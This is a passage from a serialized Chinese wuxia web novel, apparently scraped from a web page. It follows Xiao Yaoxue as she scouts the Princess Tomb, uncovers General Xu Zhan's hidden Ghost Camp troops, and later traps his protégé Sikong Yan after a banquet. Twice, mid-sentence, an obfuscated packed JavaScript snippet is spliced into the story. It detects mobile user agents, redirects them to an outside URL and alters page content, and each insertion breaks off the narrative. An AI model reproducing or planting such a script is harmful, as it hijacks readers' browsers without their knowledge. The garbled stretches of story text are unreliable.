“萧姑娘居然还有这物件？”周明理这话问出来就觉得不妥，当日夜宴之上，似乎萧妖雪就对自己对于她潇湘阁身份的言语不满，周明理当时只以为是因为她现在是李相门下了，所以她不愿意提旧事。但是今日她竟然将这象征身份的急令送人，那看来她从未想过隐藏之前的身份，之前气愤那恐怕是因为自己对于潇湘阁态度。 “呃……那个我不是……” 只是很快就被萧妖雪回他的一个似懂非懂的眼神给打断了，让周明理一时之间也有一丝对自己之前的判断的犹豫。但很快就被萧妖雪那飞身上马后，遥遥留下的那一句无妨，打消了，果然京都风云再起，儿女情长之事都只能是饭后闲谈，更别说这姑娘就是奔着风云的漩涡而去的。 与此同时的京都，徐战府邸中，司空颜拿着一封西域送来的密信，来到了徐战的书房之中。徐战亲自打开迷信，看得眉头微皱，看完之后又将密信交给了司空颜，司空颜这才看到，信上写的正是近几日良田村和胡笳城发生的事情。李家的丫头在胡笳城闹了那么一出，已经直接动摇了胡笳城的立场，之前胡笳城可没给过京都哪个势力好眼色，如今一下就站到了李治的身后，也不知道这是好事还是坏事。 再说这良田村，虽然说后续都没有那个李万的消息，但是徐战听着这名字就觉得这事恐怕不对劲，但现在圣人对良田村今年收成欠佳的事看起来是毫不在意，若此时打出良田村这张牌，恐怕圣人未必会信，毕竟人们往往更愿意相信自己查出来的东西。 再说司空颜，徐战对于这个徒弟倒甚是满意，要说他们这对师徒，可是被外界歌功颂德好久的，司空颜出生寒门，早年是京都的混混，有一次街上闹事恰巧被徐战遇上，徐战出手阻挠，却不小心被这小子伤到，本以为这小子要倒霉了，可没想到徐战非但没有惩罚他，而是夸他有血性，将他带回了徐府，认作门生，亲自教导他读书写字，讲解兵法诡道，可能也正是徐战种种做法，才让徐战成为东梁臣民心中的良臣。司空颜经此一难也知道现在徐战就是他的天，只有靠着他自己才能活下去，才能富贵荣华，所以之后徐战给他任务他总是完成得很好，在徐战的指点下，快速的升到了兵马司正职。 自从司空颜跟了徐战之后，遇到事情徐战也喜欢问问司空颜的看法，这次也不例外“颜儿，你说说这件事情你怎么看。” 司空颜思索片刻，这件事情是他全权负责的，他自然不敢乱说，徐战刚刚心头的不安，他又何曾没有，但是现在敌人是死是活都不知道，贸然行动只会错上加错，所以司空颜思考一会道：“回师傅，我认为这李万应当没有死，但是他只是一个路过的游子还是这京都中那股势力的探子，我说不清。” 徐战又问道：“那你觉得鬼字营应当转移吗？” 司空颜这次倒是很果断回答道：“不当，若此时动恐怕就是此地无银三百两，而且短时间内也很难找到良田村这样一个能养活这么多人的地方。” 徐战听后微微点头表示认可，又补充说道：“颜儿，你这几日让那边的密探盯紧点，有任何风吹草动，都及时传信回京都，只要情况有变立即按照我们之前商议的行事，不得犹豫。” “是！”司空颜答应后，徐战就示意他先行退下，看着司空颜的背影，徐战眼中流露出一些惋惜，若这次事不成，恐怕就可惜了这位兵马司正职了。 这次萧妖雪回程速度很快，一路上几乎都没怎么休息，仅仅用了两日多的时间就回到了京都。 这时节已经腊月中旬，不少在京都做生意的人已经离开，原本热闹的城门口，都略显冷清，配上一个并不算晴朗的天气，让京都给人的威严感又添了几分。就在萧妖雪将路引交给守城侍卫时，人群中就有几个人快速奔向京都的各个地方，不过半柱香的时间，李府、徐府、皇宫等多个地方，就得到了萧妖雪回京的消息。 萧妖雪到了京都后也未再停留，而是直接回到李府，此时李治和李安国已经在门口等着她了，终于在路口看到了萧妖雪的身影，这几天的担心终于一扫而空。 几人将萧妖雪迎进了屋内，嘘寒问暖，问左问右，得到了萧妖雪和李无忧都平安无事之后，也是松了一口气。 只是萧妖雪之后说的话又让几人紧张了起来，萧妖雪直言说自己去了良田村，其实这几日，李治也收到了说有个年轻的游子去了趟良田村，但是具体情况还是不明了。现在得知去了良田村正是萧妖雪，李治和李安国的心又提起来。 萧妖雪将自己在西域打听到消息都告诉了二人，李治也感受到这公主坟不寻常，正当他在思索对策之时，就有家丁进来通传，说徐大将军在府上设宴，邀请李家父女出席。邀请李治倒是正常，都是皇帝的臣子，平日里走动走动倒不是什么稀罕事，但是邀请萧妖雪那么这场酒宴的性质可就不一样，萧妖雪思索片刻后，还是以刚刚远行回来身体不适，需要休息段时间，拒绝了邀请，所以之后就是李治带着李安国前去赴宴。 宴会之上，徐战多次提及萧妖雪，李治也只好以之后在李府设宴作为赔礼，专程请徐大将军前来，才终止了徐战无休无止的问候。 而萧妖雪则趁着这晚宴的时间，去寻了黄清落。黄家没有那么大的权势，萧妖雪进城也不会有人来专门通知他们，所以突然见到萧妖雪站在门口时，心中亦是非常惊喜。 “妖雪，你回来了，可有受伤？听说你这一路很是危险？” “清落，我没事，可否进去说话？”看着黄清落这激动样子，萧妖雪心中难免再度感叹，世间真有如此之好的女子。 坐定之后，萧妖雪拿出一封从父亲书房中取来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盘算至此，萧妖雪也顾不上这几日快马回京的疲惫，又赶去寻找李治，今日李治兴许晚宴上喝了一点酒，并未去书房处理公务，而是直接回了房间。萧妖雪扣了房间的门后，是王氏出来开得门，见萧妖雪一脸凝重，便主动寻了个缘由退了出去，将房间留给父女二人。 萧妖雪给李治倒了一杯茶后说道：“父亲，女儿打算离京几日。” “你要去良田村还是公主坟？” “公主坟。” “去几日？” “两日足以。” “何时出发？” “明日一早。” 李治大概也能猜到萧妖雪的目的，毕竟此事她是亲历者，自己也不好过多参与，并未出言阻拦，只是补充道：“府上有一个侍卫，叫做丁游，功夫不错，你这次带上。” 李治的描述是这个人功夫不错，恐怕之前也是有拜师学艺的经历，若有这样一人跟着，萧妖雪也安心一些。只是不知道李治安排这样一个人，除了担心自己的安危之外有没有别的用意。 萧云雁小记： 书接上回，胡铭对着段天行递出一掌，说时迟那时快段天行抽刀回手挡下一击。二人同时后撤一步，但是相比段天行，胡铭的略显狼狈，手掌与刀锋相击自然要耗费更多的力量来保护自己。 据段天行所说他这刀是用原来的虎头铡熔断铸成，这块铁上面的戾气太重，以至于已经铸成新的兵刃还能保留着这般杀气。出道之时的破风声中都隐隐夹杂着鬼魂凄厉的哭叫声。 段天行显然被胡铭这背后出手的行为给激怒了，刚刚站稳便又提刀上前，刀上杀气更甚。 胡铭同样不甘示弱，气云九式第一式已经成了，第二式的威力当然会骤增，气息流转间同样是向前一步，但是气势就比刚刚强劲了不少。 就当二人再次要想碰的时候的，二人中间却横空多了一剑，剑锋上挑，一翻，一推将段天行的刀就这样轻而易举地推了回去，同时回身，手肘一顶接下了胡铭的第二式，再一送之间胡铭身形暴退，几人就在这电光火石间离开了距离。 同时胡铭和段天行都受到一股巨大杀气的压迫力，胡铭练得气云九式本就是练气的功夫，在这股之下还可以勉强稳住身形，但是段天行就不得不依靠刀才能站住。 “够了。既然人死了就快些回去，这里不是打架的地方，是非对错回去再说。”萧云雁道。 “是。” “哼。” 眼见二人都收了气息，萧云雁也才收回那压迫，似乎又变成了一个普通女子。 再到京都的时候已经是夜里了，几天的奔波没人睡好。 但是他们三人却没有各回各屋，而是直接去了将军阁，因为就在他们进城的几个小时前，收到了将军阁的传信要他们回城后立刻去阁中。 将军阁是当下京都最红火的地方，就算已经入夜，但是仍然灯火辉煌，只是此时不像白日那般门庭若市，略显空荡。 主厅只坐了一人，但亦是一人足以。 “诸位辛苦了，我单骁在此谢过诸位。” “单将军言重，我等此次行事也鲁莽了一些，希望不会给单将军造成麻烦。”萧云雁作为这次行动的带头人，她心中自然是明白单骁的意思，但是话却只能这样说。 “哈哈哈哈哈哈，哪有哪有你们这次做得很棒。今夜天色不早了，你们先回去歇歇，明天我就让人把酬劳送到你们住处。” 萧云雁看出来胡铭这一过程中似乎还想说什么，但是就被小厮送出了门外，至于段天行似乎很享受刚刚单骁的夸奖。 果然如单骁所说的第二日报酬如约送达，看着那白花花的白银，萧云雁心里难免有些恶心。因为今日整个东梁都在传一个消息，江大人英明神武，料事如神，发现这救灾的银两被人贪污。单骁将军雷厉风行，自省自查捉拿贪官十余人，其中五人因觉得愧对将军的栽培之恩，以死谢罪。 而这其中就包括了侯涛。 30. 公主坟内3 翌日清晨，萧妖雪如期见到了李治给她介绍的侍卫——丁游。丁游年纪看起来不大，大抵比萧妖雪大个两三岁，男子面容清秀，谈不上俊美，只能说白净。萧妖雪很是疑惑为何父亲要给自己安排这样一个人，这横看竖看都是个普通了不能再普通的侍卫，甚至看起来还没那些大汉有力气。 李治似乎是看出了萧妖雪的疑惑，开口道：“丁游是薄凉宗的后人，当时薄凉宗灭宗时只有丁游的父亲因为在外办事，侥幸活了下来，后面他父亲隐姓埋名才躲过了一截，之后他父亲虽再也不提自己是薄凉宗的人，却偏偏又将在薄凉宗所习的所有都教给丁游，奈何重病缠身，驾鹤西去了。“ 萧妖雪听得此番话只觉得颇为震惊，薄凉宗竟然真的还有幸存者，而且还将薄凉宗的武艺都传承了下去。而现在站在自己面前这个丁游，就是为一个传承人。 但是萧妖雪也颇为不解，这薄凉宗灭门灭的突然，甚至于当年的将军阁之乱息息相关。虽说当时牵头将军阁的太子周钦铭和单骁已经伏诛，但是自圣人上位后，叫嚣着分封王篡位的声音从来没有消失过。恐怕背后又是好几个利益集团的牵扯，那父亲又怎么愿意把他留在身边，就不怕惹祸上身？ 萧妖雪见李治已经坐下，开始品茶，但是心中疑惑不解，这次出去萧妖雪定然是不能安心带着丁游的，所以还是开口问道：“父亲，那丁游为何会在李府呢？” 李治缓缓咽下一口茶道：“妖雪，我知道你心存顾虑，但是丁游的父亲于我有恩，当年我就答应他，无论何时我都会无条件的答应他一事。而他临终时才提出了这个条件，便是让我照顾好丁游。他说丁游只是一个学过阵法之术的少年，与薄凉宗已经没有关系了，只希望能在我的庇护下，让他安安稳稳的长大。” 显然这些话李治之前已经同丁游说过，这次说倒是一点都不避讳，丁游听到也没有什么情绪波动，反倒是萧妖雪有些不解，明明这次去探公主坟这么危险，父亲还找这么一个武艺平平的人跟着自己。 李治还未等萧妖雪再说什么就接着道：“这次去公主坟你带上他，让他去看看公主坟的那些机关，之后对他有好处。妖雪你也不用太过担心，这小子之前是安国的陪练，武功算不上好，但是自保应当是没问题。” 话已经说到这个份上了，萧妖雪也没有什么推脱的理由了，拿起准备好的行李对着丁游说道：“那时辰不早了，走吧。” 李治看着二人离去的背影也是暗暗松了一口气，他本以为萧妖雪还会再拒绝，没想到竟然就这么答应了，不过也好，至少这一路上她不会这么孤单。 萧妖雪带着丁游用了乔装之后的一个假身份出了城，一路上又确认了几次无人跟随，才放开速度，向着公主坟疾驰而去。 公主坟比这良田村还要靠近京都，但依然是黄沙遍地，放眼望去沙丘绵延起伏，远看都是平缓的小沙丘，可是只有真正靠近了，才发现有些沙山是难以翻越的，不过幸得有之前在胡笳城潇湘阁拿到的地图，他们倒是没走多少弯路。 萧、丁二人是早晨出发的，中途除了简单的吃了个午饭再没有休息了，这两匹马是李安国早早安排人在城外准备的都是日行千里的好马，所以这一路疾驰，二人夜幕刚刚降临就来到了公主坟。 今日的公主坟恰巧没有遇上风沙，光洁的沙地上只留下二人的马蹄印，却在离公主坟不远的一片绿洲看到了一匹精心饲养的马儿正在那里吃草，萧妖雪和丁游起初也并未在意，但是当他们进入了公主坟后就发现事情的不对劲了。 二人在公主坟前将马匹放走，便步行了一段路进入公主坟，路上萧妖雪想起武清宗演武时所用的阵法，便以此为由问了问丁游，丁游小的时候就听父亲说起过阵法，在父亲过世后也是依靠父亲留下的书卷进行阵法的学习，而这武清宗的护法阵，也确实有所耳闻，起因却是在他年幼时，有一段时间父亲总是闭门不出，连丁游吃饭都不管那种沉迷，足足有一个多月，后面他又出了趟远门。回来之后对丁游袒露的很少，直到之后丁游开始学习阵法了，才发现父亲给自己的书最后一个阵法，笔迹尤为新鲜，而上面记载的正是武清宗的护法阵。 但武清当年又是怎么向这位隐世的薄凉宗“乱党”得来这个阵法的呢，恐怕只有丁游的父亲和武清本人知道了。 就在二人说话间，他们已经进入到了公主坟之中，公主坟位于黄沙之下，夏季没有太阳的直射尤为阴凉，这冬季却也不会丧失热量让墓室显得阴寒。 萧妖雪和丁游进入到公主坟之后都自觉都没再说话，而是专注于前路，根据从袁墨那里拿来的公主坟的机关图分解，这公主坟里的机关只要是稍有不慎都会要了命，就算躲过一劫一定也会惊动里面的鬼字营，那今夜的行动才是得不偿失。 眼看图解上的第一个机关在即，萧妖雪一把拉住走在前面的丁游，丁游正疑惑为何萧妖雪要阻止他，就看到了萧妖雪给了他一个“跟着我”眼神，这让丁游有些不情愿。在他看来就算之前也看到过萧妖雪展露实力，确实不弱。但此次出行自己作为男子汉大丈夫，李相又安排自己保护小姐，这哪有自己跟着小姐走的道理。 萧妖雪见他不情愿，直接上前扶住他的肩向后一拉便错身来到了丁游身前，也不顾丁游有什么脾气，这墓道危险，可不是他趁能的时候。 只是萧妖雪走在前面就发现了不对劲的地方，虽说他们走的小心，但是也不至于这些机关一点动静都没有，难道说这鬼字营入驻后还将这些机关全拆了不成？那他们选择这公主坟的意义不就少了很多吗？ 按着这图纸上所说他们现在所行的这段是一段地面压力感应机关，萧妖雪特意让丁游在机关前等自己，可是就算自己身轻如燕，婉若鸿毛，这机关不该一点声音都没有。 再一细看地面有一块石砖尤为醒目，昏暗的地道中，与旁边那些历经过风沙吹拂的砖块比起来，这块石砖非常的新，就像是有人特意替换的。 突然萧妖雪脑中警铃大作，刚刚进公主坟之前看到的那匹马，这一切或许都在暗示，有人先他们一步，而且很有可能，这个人现在还在这个坟中。 既然如此，倒也不要浪费时间在这里小心翼翼的过机关了，萧妖雪对着丁游打了一个手势，示意他跟上，丁游还有些犹豫，但是还是选择相信自家小姐，踏上石砖。 果然无事发生。 眼见已经通过图纸上画的所有机关，前面经过一个转角就会来到一个开阔墓室，萧妖雪却未感放松半分，毕竟相比于图纸上那些冷冰冰的机关，活人才是最难测的。丁游也感受她的紧张，再次想要上前探路，却又一次被萧妖雪拦了回去，同时萧妖雪也是调动了腰上的流彩剑环绕周身。 正在丁游又一次觉得有些生气时，萧妖雪已经转过墙角，步入了丁游的视野盲区，丁游自知现在不是纠结这个事情的时候，也便将这个事情放在了一边，急忙跟了上去，不过当他转过去映入眼帘却令他大为震惊。 只见萧妖雪的流彩不再是以碎片环绕在周身，而是十七枚碎片统统凝聚成了一把长剑横在胸前，抵挡着一把……伞？ 不过那把伞也是奇特伞身架在流彩剑上，而伞的顶端还伸出一把利剑，正对萧妖雪的面门，而伞的背后却是一个带着面纱看起来应当也挺年轻的女子。看到这一幕的丁游直接愣住了，刚刚一路进来都没有感到有人的气息，没想到就转个弯的功夫，小姐就被缠上，正当丁游在考虑如何救场，就见那用伞的女子收回了伞，可是自家小姐也没有意思继续追击的意思。 二人就这样简单眼神交流了一下，萧妖雪就向前走去，看到那间墓室的门外站着一个士兵，恐怕就是为了报信用的，而在他身后的主墓室之中有不少人围着坐着，其中就有当时萧妖雪在良田村见过的李虎，但是此时的李虎却面带谨慎给一人斟酒。 这人就算在这墓葬之中依然身着铠甲，头发工整的束着，腰上的佩剑也不取下，虽然留着络腮胡，但是打理得很干净，一眼就能看出来，他应该就是这里的首领，至于这鬼字营人最多的时候也不过百号人放眼这个墓室恐怕也有个七八十号，那这人应当就是鬼字营的首领——孙凯之。 正当萧妖雪看清了里面的对策，打算离开时，却听到孙凯之对着周围的人说道：“最近我收到了司空大人送来的信，我们的计划恐怕是要提前了，各位兄弟，这些年跟着我孙某，走南闯北，我们割过的人头，比那些京都中只会动嘴的文人头上的毛都多，这次能有一个共同的归宿，也不枉我们兄弟一场，徐大将军回京了，他将会是京都以后的烈日，我们一辈子注定活在黑暗中，享受不了这份恩泽，但是为了徐大人我们这次就豁出去了！来！干杯！” 说完主墓室发出了山呼海啸般呐喊，每一个将士都似乎想通过呐喊声来表明自己的心意。 公主坟是主墓室顶高墓室宽度大，天生就有聚拢生音的效果，孙凯之在里面的一席话，门外的几人当然也听到了。 三人不由得都陷入了短暂的沉默，但很快，萧妖雪就转过来，对二人一招手，三人快步离开了公主坟。 再次返回地面，天边已经泛起了鱼肚白，其实到现在丁游大概已经猜到了，这位蒙面的姑娘大抵与自家小姐相识，只是不知怎的她两都来了这公主坟，而且还没有互相知会，才闹出今天这一场出。 三人回到地面后就去了之前的那片小绿洲，几番确认离开公主坟没有被人跟踪，几人才坐了下来稍加休息。 萧妖雪率先开口：“袁梅，你怎么会来这个公主坟？” 袁梅道：“这次是兄长想要探探这公主坟。” “你哥？他又为何？”萧妖雪再度发问，但却没有得到任何对自己有用的答案。 “我不知道，兄长只说这个公主坟会决定京都很多人的立场，但是现在出手他根本不足撼动京都中任何一方势力。但若不逼着这步棋走了，以后将后患无穷。” 其实袁梅所说也正是萧妖雪所考虑的，就凭借几个私兵的一面之词，想要扳倒李治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672369|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者徐战简直就是痴人说梦，但是如果任由这个鬼字营继续发展，要么他会积攒更多证据指向李治，要么他会势力渐大，然后成为悬在东梁皇帝头上的一把利剑。 目的弄清了，那就该问问方法了，这次却还等萧妖雪发问，丁游就问道：“那为何我们进入公主坟，这一路的机关都被破解了？” 袁墨看了这个年轻小伙子一眼道：“那自然是我破的了。” 言语中无不透露着骄傲，但是很快她的骄傲就被萧妖雪揭穿了：“那还不是多亏了赵江河给你的图纸，我看那千机伞也是他送给你的吧，用得还挺顺手呀。” 说到这袁梅的脸竟然开始微微泛红，但是丁游好像没有听出其中门道一般，又愣愣地问道：“那些鬼字营的人发现这机关被破坏了，岂不是就打草惊蛇了。” 袁梅还沉静在刚刚萧妖雪说她和赵江河的事之中没有回过神来，一时间没有理会丁游的问题，丁游看着袁梅神游天外的状态，本以为自己要被晾着了，没想到自家小姐却开口了：“我们今日走的这条通道，恐怕不是他们平日进出公主坟的渠道，他们应当在坟的其他位置重新开了一个入口，毕竟就算再小心的人多走几次这些机关，难免会有失足的时候，鬼字营的关系如同亲兄弟一般，孙凯之也不会愿意他的兄弟出事，所以这条路应该就是用来防那些想要进公主坟的人。不过你说的有道理，他们在这待的世间长了，恐怕很快会发现。” 袁梅此时也从神游中回过神来，接着萧妖雪的话道：“那妖雪按你看，那另外一个进出口，是在哪里呢？” 萧妖雪对于这个问题倒是没有犹豫，回答道：“恐怕就在良田村之中的那口古井，公主坟中有暗河，这沙漠暗河还是比较稀少，恐怕这暗河就是良田村古井井水的来源。 袁梅与丁游都未去过良田村，但是既然是萧妖雪这么说了，恐怕出不了错。至此关于公主坟秘密算是解开了，但是这公主可以是对李治的一记重击，但若利用好了也可以是对徐战的一记重击。 待一切事情探讨完毕之后，萧妖雪带着丁游再度急驰回京，至于袁梅并没有与他们同路，而是隐秘于这茫茫大漠中了。 与此同时，李治也向徐战发出了邀请，说是庆祝小儿子成功入了武清宗，虽然人不在但是这宴席还是要办的，日期就定在萧妖雪回城当晚，萧妖雪带着丁游在与袁梅分别后，就又是不眠不休地赶回了京都，到京都时，差不多就是晚宴开始之时。简单的梳洗打扮，一杯浓茶饮下，掩盖这几日的疲惫，便在侍女的帮助下更衣和李治一同来到了客堂。 萧妖雪的样貌不少人都见过，但是每一次见都会为之惊叹，特别是今日，这女子似乎是因为最近奔波，精美的面容上还是有一丝若隐若现的疲惫，但这却将她之前生人勿近的气势削弱了不少。 下座的客人有不少已经看直了眼睛，但只有徐战虽然是紧紧地盯着萧妖雪却没有半分沉迷之色，反倒有种审视猎物的狠辣。 周明理小记： 说回胡笳城，那日周明理送走了萧妖雪，回去一路上脑海中竟然不断回荡着萧妖雪的那日夜宴上的身影，似乎是有那么一丝魔怔了。 孙放见自家主子这一路上安静得反常，内心作怪的小心思按耐不住。 “殿下，想什呢？” “没事。” “殿下，你该不会是在想萧姑娘吧？” “没有。”被孙放这么一说周明理心中又突然浮现了最后萧妖雪离开时那眼神，忽然之间有些不知自己身在何处。 “殿下，你可别摸那木牌了。诶！殿下走过了，家在这边！” “孙放！母妃昨日说看上了香妃馆的一个胭脂，你去给她买回来。” “是！殿下你没有说是哪个？” “自己试。” 看着周明理头也不回就走了，孙放忍不住腹诽道“你就是在想人姑娘嘛，还不让说。” 回到府中，周明理就看到母亲叶冥已经在门口等候自己了。叶冥自从来了胡笳城身体就一日不如一日，现在看来都有些瘦得脱相了，如今的她也算是风烛残年了，但就算是这样的时候她还想着回到京都，去看看她那曾经的枕边人。 “明理，姑娘送走了？” “母妃，外面风大，你怎么又出来了？” “明理，听说她是从京都来的，现在京都怎么样了？” 面对叶冥的追问，周明理一时之间不知道该怎么说。虽然说他身在胡笳城，但是对于京都发生的事情，他有自己情报网，虽不如潇湘阁那般灵通，但是也还算知道得全面，只是每每母亲问起时，他都以胡笳城消息闭塞搪塞过去，因为他实在不知道应该以什么样的方式让母亲知道现在物是人非的京都城，以及那些面目全非的故人。 “母妃，我们就是见了一面，她没和孩儿说这些。对了母妃，我安排孙放去香妃馆给你买胭脂了，等会你可要好好试试。” “诶呀，费那心思，快快扶我进去我要重新换个发髻。” 31. 公主坟内4 萧妖雪作为女儿家很少会参与这样的宴席，这次也是李治借着李无忧拜入武清宗，萧妖雪千里相送，为儿子庆祝，为女儿接风洗尘，她也才得以名正言顺地出席。 萧妖雪到宴席的时候，菜品已经上齐，京都的宴席不似胡笳城那般豪迈，开宴都是为了喝酒为主。京都的宴席一方面是宴请，另一方面是主人权利的象征，有几人愿意来，来的人是什么身份，这都世人对主人的评价。 所以宴席也会看起来精致不少，这次李治拿出来的是一套金尊游鱼杯。杯身通体金黄黄色，外壁平平无奇，但是内侧却刻有一对锦鲤，当酒水加满随着杯中水波纹的晃动，这两条游鱼仿佛有了生命一般，游动起来。 今日李治筹办的的宴会虽算不上人满为患，但是来的客人那可是一个抵十个的级别。放眼望去李治坐在主位，徐战就坐在他的下座，徐战对面的位置虽是上了菜，但却无人落座。 再往下李安国、司空颜、赵江河……朝廷中官阶不小的人坐了大概十几个，萧妖雪到的时候，李治正在和徐战有一句无一句的聊着。这两老狐狸人人都知道他们不和，但是你在任何一个单独的场景看见他们，你都会有种他们已经是很多年的朋友的感觉。 京都的宴会之上又怎么能少得了丝竹之音，只是今晚的音乐听得人心头一颤一颤。这是一首胡乐，节奏感非常强，总有一种引人载歌载舞的冲动。 李治看到萧妖雪进来，也是向她招了招手，示意她坐到自己身边的空位来。萧妖雪倒也不扭捏，过去后对李治行了一礼，便落座了。桌上的菜肴温热刚刚好，旁边酒也是温好，在李治一段简短的开场开场之后，这晚宴也正式开始了。 萧妖雪这几日奔波饭吃得自然简陋，这晚宴的菜品也都深得她心，正吃的来劲时，对坐的徐战却忽然开口道：“这几日听闻西域传来的消息，老夫也是心中感慨，李相你这三个子女真是给你长脸了。” 李治和萧妖雪都感受到了，徐战似乎想问点什么，但是他却并没有接着往下说，而是停顿了一下，李治只好应承下来，又对徐战的女儿徐菀露夸赞了一番。 这时坐在徐战身边的司空颜突然对着萧妖雪开口道：“萧姑娘，听闻这次你和无忧去演武的时候好像并不是那么顺利，不知你们可有受伤？” 这会的关心，真是无用，但是要引入这个话题，司空颜也只能从这里入手。毕竟这事萧妖雪并未做任何掩饰，所以京都知道也是正常。萧妖雪微微一笑道：“多谢司空大人关心，我和无忧都没事。” 司空颜见她并没有展开说说的打算，也把话题推向了另一件事：“不过萧姑娘也是艺高人胆大，听说你在胡笳城的比武中赢了胡笳城的少城主，还得了胡笳城的夜明珠。” 此话一出厅内就有了窸窸窣窣的讨论声，一些消息不灵通的官员也是今日才得知，听到倒是格外震惊。 萧妖雪倒也不在意他人说什么，只是道：“为宴会祝个兴罢了，那夜明珠我自然是没要，这带回来算什么事，难道算胡笳城给我的彩礼不成？”司空颜被他这话噎了一下。 说到这萧妖雪突然好似又突然想到了什么，对着主位的李治说道：“父亲，这次女儿路过一个村子叫做良田村，那里稻子长得可好了，也不知道今年收成如何？” 此话一出，徐战和司空颜的脸色刷的就变了，不过好在徐战是活了这么多年的人了，很快就恢复如初，司空颜就略显尴尬，手上拿着的酒杯都掉地上了，旁边的侍女见状忙来收拾。 李治自然也把这一切尽收眼底，面上略带惋惜的对萧妖雪说：“唉，今年不知怎么地，这良田村产量并不乐观，我本还想着年后亲自去那看一看。” 之后宴席上，徐战和司空颜的话都少了不少，毕竟良田村的天只有进了村才能看见，这丫头都看到了，背后的含义不言而喻了。 宴席结束已经时近宵禁，各家的马车在外面排队等着，李安国和萧妖雪将客人们送到了门口，看着一辆辆远去的马车，徐战带着司空颜最后才出来，二人同上了一辆马车，临走时也未再与萧妖雪他们多言。 眼见他们的马车转过街角就看不见了，李府围墙的阴影下闪过一人，跟着马车而去。 车内，徐战面色凝重，司空颜整个人都显得格外焦躁，开口道：“师傅，现在怎么办？” 徐战没有回答而是问道：“最近公主坟里有没有什么异状？” 司空颜回忆了一下最近那边传来的信，一直都说一切正常，但是徐战这样问了，他心里也放心不下，便说道：“师傅我今晚就连夜出发，亲自去看一看。” 徐战点了点头，忽而又想起什么补充道：“记得看看机关道是否还好。孙凯之这人做事粗糙，恐怕会嫌那边麻烦对机关道疏于管理，你且去好好看看，若有异状不必告知我，你自作定夺。” 司空颜应下后，就在原地下了车，侍卫从旁边牵来一匹马，这马儿四肢有力，双目炯炯有神，一看就是一匹日行千里的好马。 司空颜也不多犹豫，翻身上马，向着城门就急驰而去，此时城门已关，而司空颜只是出示了一个镇远将军府的令牌，就轻松出了城。就在城门再次关闭的时候，不远处的屋檐上一个黑影向着李府的方向掠去。 京都年末的天气就是善变，司空颜出城后，天上的最后一丝月色也被云彩遮住，京都又陷入让人恐惧的黑暗，夜幕之下阴谋遁于无形，若乌云不被吹散，谁也看不清接下来。 此时萧妖雪已经回到了房中，更换了之前晚宴的衣服，却也没有换上居家的简服，而是穿了一件纯黑的劲装，头发高高束起。一切准备完毕后，房门被人叩响，丁游的呼吸略微有些粗重，站在门外，缓了一口气才说道：“小姐，司空颜单骑从西城门出城了。” 萧妖雪听后轻轻点了一下头，随即就带着丁游奔向了北城门。城墙如同门锁一般，只防君子，难防小人，今日萧、丁二人就做这么一次见不得人的小人。二人并没有出示任何令箭要求士兵开城门，而是趁着夜色从城墙上翻了出去，无人察觉。 月光的清晖洒落在大地上，将一切都照得格外清晰，只是可惜没有人看清月下那两个翻墙而出的身影，那宛如两个污点一般打碎了这完美的月色。 今日回城的马儿，萧妖雪和丁游都没有带进城中，一来是低调行事，二来也是为了今晚再出城不用再到处找马。 京都北城门与公主坟的距离确实比西城门远些，萧妖雪和丁游估摸了一下，就算马儿跑到最快也只能勉强与司空颜同时抵达，但是这次就是与时间赛跑，容不得半点差错。 果然进入到黄沙地带后，地面上有一排清晰的马蹄印，向着大漠深处延伸，但是到了公主坟的入口处，那马蹄印并没有中断，而是向着良田村的方向去了，这也应证当时萧妖雪对公主坟另一个入口的猜测。 但是萧妖雪和丁游还是选择从机关道进入，毕竟良田村的村民可不是那么好忽悠的，机关上次袁梅已经全部解决了，二人一路前进如入无人之地。 丁游眼见要到主墓室，萧妖雪还是一丝收敛脚步声的意思都没有，不由得有些担心，但是当丁游看到主墓室的情况时，担心变为了疑惑。 只见之前主墓室中密密麻麻的人现在一个都看不到，取而代之的是之前有过一面之缘的蒙面女子，还有被用刀架在脖子上的司空颜。 丁游看着这场面很是疑惑，再看到自家小姐的反应就更疑惑了。萧妖雪好像就是早就料到会这样一般，悠然自在的走了进去。司空颜看到萧妖雪，表情变得更加狰狞，但是奈何脖子上架着刀，什么都做不了。 萧妖雪进入主墓室后，寻了一个台子坐下对着袁梅道：“没事，刀举着也累，放下吧，他现在跑是最愚蠢的决定，我相信司空大人是个聪明人。” 没了脖子上的利刃，司空颜的气势也旺了几分，张口怒声道：“李家的丫头，威胁朝廷命官那可是重罪，你可想好了。” 萧妖雪也不甘示弱，但却没有他这么撕心累肺，只是四两拨千斤淡淡地说道：“诶呀，那司空大人应该也知道聚众谋逆那可是死罪。” 听到这司空颜倒是一点都不紧张了，反而猖狂的说道：“萧姑娘可别血口喷人呀，你哪里有证据证明我聚众谋逆了。” 萧妖雪从怀里拿出一封书信，展开递给了丁游，丁游将信件举到了司空颜面前，上面赫然就是司空颜的字迹，但是内容在司空颜看来却很是陌生，信上写道：“李治已经发现端倪，鬼字营今夜夜袭京都南城门，倾巢出动，我已与南城门的将军谈妥，只需报我名号，他们就会开门放行。司空颜阅后即焚” 司空颜看到这封信时脸都气白了要知道，南城门的守城将军，是吴端，这人早年就是因为直言上奏，得罪的人太多，最后连圣人都觉得他棱角太过锋利，才将他调到南疆历练了五年，如今回到京都，也是安排了守城将军的职位。 孙凯之跟随徐战在边疆征战，多年未回过京都，自然也不知道这个南城门的门道，他到那自曝了家门，自己跳进黄河也洗不清了。 就当司空颜打算破罐子破摔的的时候，萧妖雪突然开口道：“我估摸着这鬼字营应该还没到南城门，若是司空大人愿意在这张罪状上签字画押，我可以让大人离开，大人说不好可以在他们送死前拦下，至于这张罪状，只有在你们打算拿鬼字营来对付李家的时候，我们才会拿出来，司空大人你看如何呢？” 司空颜似乎陷入了思考，但其实他现在脑袋嗡嗡作响，一点思路都没有。 